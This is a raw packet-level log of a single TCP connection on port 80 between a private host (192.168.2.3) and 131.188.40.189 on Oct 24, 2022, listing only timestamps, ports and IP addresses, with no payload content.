Oct 24, 2022 11:08:54.002898932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002899885 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002916098 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002934933 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002945900 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002963066 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.002978086 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.002995014 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003015995 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003025055 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003040075 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003053904 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003072023 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003081083 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003097057 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003112078 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003118038 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003142118 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003170013 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003171921 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003197908 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003230095 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003235102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003262043 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003268003 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003293991 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003303051 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003323078 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003350973 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003354073 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003387928 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003391027 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003416061 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003437042 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003444910 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003473997 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003474951 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003504992 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003534079 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003540993 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003562927 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003583908 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003593922 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003623009 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003623009 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003653049 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003674984 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003680944 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003700972 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003710985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003731966 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003741980 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003758907 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003788948 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003798962 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003832102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003844976 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003859043 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003878117 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003887892 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.003899097 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.003947973 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.008121967 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.008187056 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.008217096 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.008223057 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.008255005 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.008271933 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.008280039 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.008306026 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.008332014 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.008337021 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.008364916 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.008368969 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.008392096 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.008398056 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.008426905 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.008428097 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.008457899 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.008461952 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.008497000 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.008532047 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.010008097 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010052919 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010085106 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010113001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010118008 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.010143995 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010154963 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.010173082 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010202885 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010234118 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010240078 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.010262012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010267973 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.010293007 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010298014 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.010319948 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010343075 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.010351896 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010380030 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010384083 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.010411024 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010433912 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.010437965 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010466099 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010476112 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.010495901 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010524035 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010526896 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.010551929 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.010767937 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.011751890 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.012670994 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.024307013 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024363041 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024390936 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.024398088 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024430990 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024451971 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.024461985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024492025 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024507046 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.024522066 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024552107 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024570942 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.024580002 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024611950 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024641037 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024641037 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.024668932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024696112 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.024699926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024729013 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024753094 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.024760008 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024791002 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024821043 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024847984 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024864912 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.024879932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024909973 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024921894 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.024939060 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024966002 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.024971008 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.024996996 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025001049 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025032997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025054932 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025059938 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025090933 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025106907 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025119066 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025147915 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025163889 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025177956 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025208950 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025223017 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025237083 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025264025 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025280952 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025291920 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025321007 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025333881 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025348902 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025378942 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025408030 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025420904 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025438070 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025465965 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025468111 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025501966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025528908 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025532961 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025567055 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025588989 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025597095 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025628090 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025648117 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025655985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025687933 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025701046 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025717974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025748014 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025769949 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025774956 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025808096 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025821924 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025836945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025863886 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025877953 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025890112 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025919914 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025933027 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.025947094 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.025975943 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026001930 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026015997 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026032925 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026043892 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026062965 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026093006 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026114941 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026118994 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026165009 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026171923 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026195049 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026227951 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026238918 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026254892 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026284933 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026307106 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026314020 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026345015 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026362896 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026374102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026401997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026428938 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026454926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026456118 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026482105 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026500940 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026510954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026525021 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026541948 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026570082 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026597977 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026601076 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026633024 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026649952 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026660919 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026690960 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026710987 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026720047 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026751041 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026772022 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026782036 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026813984 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026830912 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026842117 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026870966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026896000 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026925087 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026956081 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.026978016 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.026987076 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027018070 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027045012 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027046919 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027074099 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027089119 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027098894 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027127028 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027151108 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027153969 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027183056 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027210951 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027215004 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027244091 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027267933 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027270079 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027298927 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027311087 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027324915 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027354002 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027365923 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027381897 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027410984 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027426004 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027439117 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027467966 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027486086 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027493954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027518988 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027533054 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027545929 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027570963 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027595043 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027595043 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027621031 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027647018 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027652025 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027673960 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027704000 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027709961 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027731895 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027754068 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027760029 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027786970 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027811050 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027811050 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027836084 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027859926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027879000 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027884007 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027899027 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027903080 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027919054 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027937889 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027955055 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.027956009 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027982950 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.027988911 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028002977 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028023005 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028042078 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028047085 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028059959 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028072119 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028079987 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028111935 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028117895 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028131962 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028155088 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028172970 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028187037 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028194904 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028214931 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028234005 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028253078 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028270960 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028289080 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028309107 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028312922 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028312922 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028312922 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028327942 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028337955 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028352976 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028359890 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:54.028372049 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:54.028389931 CEST	80	49692	131.188.40.189	192.168.2.3
